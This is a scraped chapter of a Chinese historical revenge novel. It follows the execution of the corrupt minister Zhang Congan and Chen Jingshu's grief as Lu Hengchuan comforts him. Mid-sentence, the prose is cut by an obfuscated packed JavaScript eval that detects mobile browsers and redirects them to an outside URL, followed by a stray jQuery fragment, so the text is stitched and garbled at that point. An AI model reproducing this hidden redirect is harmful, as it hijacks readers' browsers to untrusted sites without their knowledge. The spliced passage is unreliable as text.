冷风卷着刑场的尘土与血腥气,漫过京城朱雀大街,漫过围观百姓攒动的人头,也漫过陈景殊一身胜雪的白衣。
张从安伏法的告示早已贴满京城的大街小巷,墨迹未干,便被百姓围得水泄不通,人人争看,拍手称快。
街头巷尾,茶肆酒楼,无不在谈论这桩震动朝野的科举弊案与谢家沉冤,从朝堂高官到市井小民,从白发老者到垂髫稚童,人人都在为谢家昭雪而欢呼,为奸臣伏法而庆幸。
天下舆论早已沸腾如沸。谢家蒙冤十数载,七十三口忠良惨死于屠刀之下,当年便引得百姓扼腕叹息,只是慑于张从安的滔天权势,敢怒而不敢言。
如今真相大白,奸臣落网,积压多年的民怨与正义之心彻底迸发,无数百姓自发联名请愿,长长的请愿书按满了鲜红的指印,从京城各门递入宫中,要求帝王秉公处置,还谢家一个公道,还天下一个清明。
帝王萧承曜高坐金銮殿上,看着案前堆积如山的万民书,指尖冰凉,心头沉甸甸的压着巨石。
他何尝不想压下这桩旧案,何尝不想保全自己的帝王颜面,当年谢家冤案,他知情、默许,甚至暗中推波助澜,若是彻查到底,他昏庸纵容、冤杀忠良的罪名便会载入史册,落得千古骂名。
可他压得住卷宗,压得住朝堂,却压不住天下人心,压不住沸腾的舆论。
百姓的呼声如惊雷滚滚,若是执意偏袒,只会动摇国本,失尽民心,让大靖江山陷入动荡。
万般无奈之下,萧承曜终是提笔,落下了最终的朱批。
圣旨以最快的速度传遍京城,传遍天下,字字铿锵,震彻朝野:
主谋张从安,构陷忠良、把持朝政、贪赃枉法、祸乱科场,罪大恶极,判斩立决,抄家灭族,罪连三族,所有家产尽数充公,党羽余孽一律追查到底;
十二名涉案世家子弟,科场行贿、窃取功名、败坏朝纲,剥夺全部功名身份,流放三千里,永世不得入关;
所有涉事考官,收受贿赂、徇私舞弊、草菅人才,一律处斩,张氏党羽连根清洗,肃清朝堂吏治,永绝后患。
圣旨宣读完毕,京城百姓欢声雷动,鞭炮声从街头响到街尾,比新年还要热闹。
被张氏欺压多年的官员松了一口气,蒙冤受屈的学子扬眉吐气,谢家的旧部故交更是痛哭流涕,跪在谢家祠堂前告慰英灵。
唯有陈景殊知道,这只是血债偿息的第一步。
张从安死了,三族被灭,党羽被清,谢家十数年的血海深仇,总算报了其一。
可当年冤案的背后,仍有一人未被揪出,还有那个高居龙椅之上的人,那个为了皇权稳固,默许奸臣作恶、牺牲忠良的帝王。
他才是这一切的根源,是让谢家七十三口含冤而死的最终推手。
只是时机未到,力量未足,他还需隐忍,还需等待,等待一个能掀翻一切、彻底讨回所有公道的时刻。
刑场设在京城西郊的菜市口,历来是处决重犯之地。这一日,冷风格外萧瑟,尘土飞扬,遮天蔽日。
四周围满了百姓,里三层外三层,水泄不通,人人都想亲眼看着这个祸国殃民的奸臣伏法。
张从安被押上刑场时,早已没了往日的威仪。头发散乱,衣衫破烂,身上带着诏狱酷刑留下的伤痕,面容枯槁,眼神浑浊,却依旧透着一股不甘与怨毒。
他看着围观众人鄙夷唾弃的目光,看着高高悬挂的圣旨,看着监斩台上端坐的官员,终于明白,自己经营四十载的权势,终究还是烟消云散,落得个身首异处、满门抄斩的下场。
午时三刻一到,监斩官高举令牌,狠狠落下:“斩——”
刽子手高举鬼头刀,寒光一闪,刀锋破空,重重落下。
一声闷响,鲜血喷涌而出,染红了刑场的青石板,染红了满地尘沙。
张从安人头落地,一代权臣,就此殒命。
围观百姓爆发出震天的欢呼,掌声、欢呼声、哭喊声交织在一起,震耳欲聋。所有人都在庆祝,都在狂欢,唯有陈景殊,静立于人群最外侧,一身白衣纤尘不染,与周遭的喧嚣格格不入。
他就那样静静地站着,身姿清挺如松,目光平静地望着刑场中央那滩渐渐扩大的血迹。无哭,无笑,无悲,无喜,没有大仇得报的狂喜,没有沉冤昭雪的痛哭,只有一身沉郁的冷风,卷动他宽大的衣袍,猎猎作响。
十余年隐忍,十余年卧薪尝胆,十余年在黑暗中咬牙前行,靠着血海深仇撑过无数个不眠之夜。
他曾无数次幻想过这一刻,幻想张从安伏法的场景,幻想谢家冤魂得以安息的画面。
可当这一刻真的来临,他心中却没有想象中的释然,只有一片空茫与沉郁,像被风掏空了五脏六腑,只剩下无尽的寒凉与疲惫。
那是七十三口亲人的血,是十数年的颠沛流离,是隐姓埋名的屈辱,是日夜不休的煎熬。
即便仇人伏法,那些刻在骨血里的伤痛,那些午夜梦回的哀嚎,也永远无法抹去。
他就那样站着,直到人群渐渐散去,直到刑场的血迹被风干,直到夕阳西下,暮色笼罩大地,直到整个西郊只剩下萧瑟的风声与他孤单的身影。
白衣被暮色染成浅灰,周身的寒意比料峭春寒更甚,像一尊伫立千年的石像,沉默,孤寂,满身伤痕。
不知站了多久,直到深夜,月光穿透云层,洒下清冷的光辉,照亮了空无一人的长街。
陈府的院墙不高,一道玄色身影借着月光,身形矫健地翻墙而入,落地无声,没有惊动任何一个守夜的下人。
陆衡川一身黑衣,衣摆上还沾着刑场的尘土与京城夜色的寒凉,他脚步放得极轻,一步步走到陈景殊的身边,停在他三步之外,没有说话,只是静静地陪着他。
月光下,陈景殊的侧脸冷白得近乎透明,长睫垂落,掩去眼底所有情绪,周身依旧是那片化不开的沉郁。
陆衡川没有开口安慰,也没有说任何多余的话。他太懂陈景殊了,懂他十数年的隐忍,懂他压在心底的伤痛,懂他大仇得报后的空茫,也懂他未曾说出口的执念。
此刻任何言语都显得苍白,唯有陪伴,才是最温暖的支撑。
他缓缓上前,轻轻伸出手,落在陈景殊的肩头。
掌心的温度透过单薄的衣料传递过去,带着独属于他的安稳与力量。
陈景殊的身体微微一僵,紧绷了十数年的脊背,在这一刻,终于缓缓放松。
下一瞬,他猛地转过身,扑进陆衡川的怀中,双臂死死地箍住他的腰,将脸深深埋进他的肩头,把自己整个人都蜷缩在这个温暖而坚实的怀抱里。
没有痛哭失声,没有嘶吼哀嚎,只有压抑到极致的泪水,终于在这一刻决堤。
滚烫的泪水无声滚落,顺着脸颊滑落,浸透了陆衡川的黑衣,洇出一片深深的湿痕,烫得陆衡川心口发疼。
那是压抑了十年的泪水,是六岁那年亲眼目睹家门罹难的恐惧,是隐姓埋名苟且偷生的委屈,是日夜兼程苦读入仕的艰辛,是面对仇人却要强装平静的隐忍,是无数个深夜里对亲人的思念,是大仇得报后终于可以卸下重担的崩溃。
自六岁以来到如今双十有三,近二十年,他是步步为营的复仇者,他不能哭,不能软弱,不能露出丝毫破绽,只能用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618796|206144||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冰冷的外壳包裹自己,撑着一身傲骨,在黑暗中独行。
可在陆衡川面前,他不用再伪装,不用再坚强,不用再做那个无坚不摧的陈景殊。他可以只是他自己,可以是那个失去亲人、受尽苦难、终于可以哭出声的少年。
泪水汹涌而出,打湿了陆衡川的衣襟,打湿了他的肩头,也打湿了这十数年的黑暗与煎熬。
陈景殊的肩膀微微颤抖,压抑的抽噎从喉咙深处溢出,细碎而隐忍,却让陆衡川心疼得无以复加。
陆衡川紧紧回抱住他,双臂用力,将他牢牢锁在自己的怀中,仿佛要将自己所有的温度与力量,都传递给这个满身伤痕的人。
他轻轻拍着陈景殊的后背,动作温柔得小心翼翼,一下又一下,像在安抚一个受了重伤的孩子。
他的嗓音低沉沙哑,带着浓浓的心疼与哽咽,一字一句,在寂静的深夜里格外清晰,格外坚定:
“这一段,结束了。张从安伏法了,你熬过来了,你做到了。”
“剩下的路,我陪你一起走。”
“再也不用你一个人扛,再也不用你一个人在黑暗里走,再也不用你忍辱负重。”
“从今往后,有我。”
“刀山火海,万丈深渊,我都陪你。”
“你的痛,我替你分担;你的仇,我陪你报;你的路,我陪你走。”
陈景殊埋在他的肩头,泪水流得更凶,双臂箍得更紧,仿佛要将自己嵌进陆衡川的骨血里。
这个怀抱,是他十数年黑暗生涯里唯一的光,是他撑下去的底气,是他可以卸下所有防备的港湾。
他想说什么,想说谢家七十三口冤魂终于安息,想说自己终于可以喘一口气,想说还有最后的仇要报,可喉咙被泪水堵住,一个字也说不出来,只能死死地抱着眼前的人,感受着他真实的温度,感受着这份独属于他的安稳。
春风依旧在窗外呼啸,月光依旧清冷,可庭院内却暖意融融。
两个并肩共赴血海深仇的人,紧紧相拥,用一个拥抱,抚平十数年的伤痕,慰藉彼此的灵魂。
陆衡川轻轻抚摸着陈景殊的发丝,下巴抵在他的发顶,心底一片柔软。
不知过了多久,陈景殊的泪水渐渐干涸,颤抖的肩膀也慢慢平复。他依旧埋在陆衡川的肩头,声音带着哭过之后的沙哑,轻轻开口:“陆衡川……”
“我在。”陆衡川立刻应声,掌心轻轻拍着他的后背,“我一直都在。”
“我好累。”
短短三个字,道尽了十数年的艰辛与疲惫。
陆衡川的心像被狠狠揪了一下,疼得厉害。他收紧手臂,将人抱得更紧,声音温柔而坚定:“累了就歇一歇,有我守着你,什么都不用怕,什么都不用想。”
“剩下的路,我们一起走。”
“无论还要等多久,无论还要面对什么,我都陪着你。”
陈景殊没有说话,只是轻轻点头,将脸埋得更深,贪婪地汲取着这份温暖与安稳。
张从安伏法,只是一段征程的结束,却是另一段征程的开始。
帝王的罪责,陆家的旧怨,朝堂的残余污垢,还有太多的真相要揭开,太多的公道要讨回。
但他不再是孤身一人。
有陆衡川在身侧,有并肩作战的勇气,有十数年沉淀的信念,他无所畏惧。
冷风渐息,月光温柔,深夜的陈府,终于褪去了寒意与孤寂。
压抑十年的寒泪落下,是伤痛的宣泄,是新生的开始。
血债已偿其一,余下的公道,他们终将一一讨回。
而这一路,再也不会独行。